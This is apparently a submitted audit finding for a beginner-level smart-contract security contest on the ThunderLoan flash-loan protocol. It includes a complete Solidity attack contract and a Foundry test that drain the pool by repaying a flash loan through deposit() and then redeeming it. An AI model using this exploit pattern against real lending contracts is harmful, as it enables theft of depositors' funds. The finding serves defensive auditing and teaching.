Beginner FriendlyFoundryDeFiOracle
100 EXP
View results
Submission Details
Severity: high
Valid

Malicious User can Drain the pool

Summary

Malicious user is able to drain all the pool balance due to bad implementation of flash-loan service.

Vulnerability Details

In the current implementation of of ThunderLoan flashloan(), and specifically at the end of the function we check if (endingBalance < startingBalance + fee) a malicious user can use the deposit function in order to trick the protocol. The user can redeem them later on.

The POC below shows, the malicious user of the ThunderLoan can carefully craft payload to steal funds via flashloan function.

Here is a simplified version of the main MockFlashLoanReceiver contract, instead of using the repay funtion in the callback
we executed the deposit function so that the pool think that the flashloan is paid however at the end of the attack function
we make sure to reedem and transfer all the tokens to the owner of this contract (attacker)

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import { IFlashLoanReceiver, IThunderLoan } from "../../src/interfaces/IFlashLoanReceiver.sol";
import {ThunderLoan } from "../../src/protocol/ThunderLoan.sol";
contract MockFlashLoanReceiver2 {
error MockFlashLoanReceiver__onlyOwner();
error MockFlashLoanReceiver__onlyThunderLoan();
using SafeERC20 for IERC20;
address s_owner;
address s_thunderLoan;
uint256 s_balanceDuringFlashLoan;
uint256 s_balanceAfterFlashLoan;
constructor(address thunderLoan) {
s_owner = msg.sender;
s_thunderLoan = thunderLoan;
s_balanceDuringFlashLoan = 0;
}
function attack(IERC20 token, uint256 amount) external {
require(msg.sender == s_owner, "not owner");
ThunderLoan(s_thunderLoan).flashloan(address(this), IERC20(token), amount, "");
uint256 balance = IERC20(token).balanceOf(address(s_thunderLoan));
ThunderLoan(s_thunderLoan).redeem(token, balance);
uint256 balance2 = IERC20(token).balanceOf(address(this));
IERC20(token).transfer(msg.sender, balance2);
}
function executeOperation(
address token,
uint256 amount,
uint256 fee,
address initiator,
bytes calldata /* params */
)
external
returns (bool)
{
s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this));
IERC20(token).approve(s_thunderLoan, amount + fee);
ThunderLoan(s_thunderLoan).deposit(IERC20(token), amount + fee);
s_balanceAfterFlashLoan = IERC20(token).balanceOf(address(this));
return true;
}
}

then add on our ThunderLoanTest.t.sol at the end of the file this function

function testFlashLoanHack() public setAllowedToken hasDeposits {
// mint tokens to thunderloan pool == (starting_liquidity > 0)
tokenA.mint(address(thunderLoan), AMOUNT);
uint256 amountToBorrow = AMOUNT * 20;
vm.startPrank(user);
// deploy our attack contract that contains malicious executeOperation() callback
mockFlashLoanReceiver2 = new MockFlashLoanReceiver2(address(thunderLoan));
// mint tokens to our malicious smart contract so that we can request the flashloan
tokenA.mint(address(mockFlashLoanReceiver2), AMOUNT);
// check user balance before flashloan
console.log(
"balance of user before flashloan ",
tokenA.balanceOf(address(user))
);
//attack function
mockFlashLoanReceiver2.attack(tokenA,amountToBorrow);
// check user balance after flashloan
console.log(
"balance of user after flashloan ",
tokenA.balanceOf(address(user))
);
vm.stopPrank();
}

when executing everything correctly the balance of user will look like this

forge test --match-test testFlashLoanHack -vv
[⠢] Compiling...
No files changed, compilation skipped
Running 1 test for test/unit/ThunderLoanTest.t.sol:ThunderLoanTest
[PASS] testFlashLoanHack() (gas: 1780693)
Logs:
balance of user before flashloan 0
balance of user after flashloan 19441051566081775310
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.49ms
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Impact

High

Tools Used

Foundry, Manual Analysis

Recommendations

Check if the user actually paid back the loan using the repay() and not any other function available in the protocol

Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

flash loan funds stolen by a deposit

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.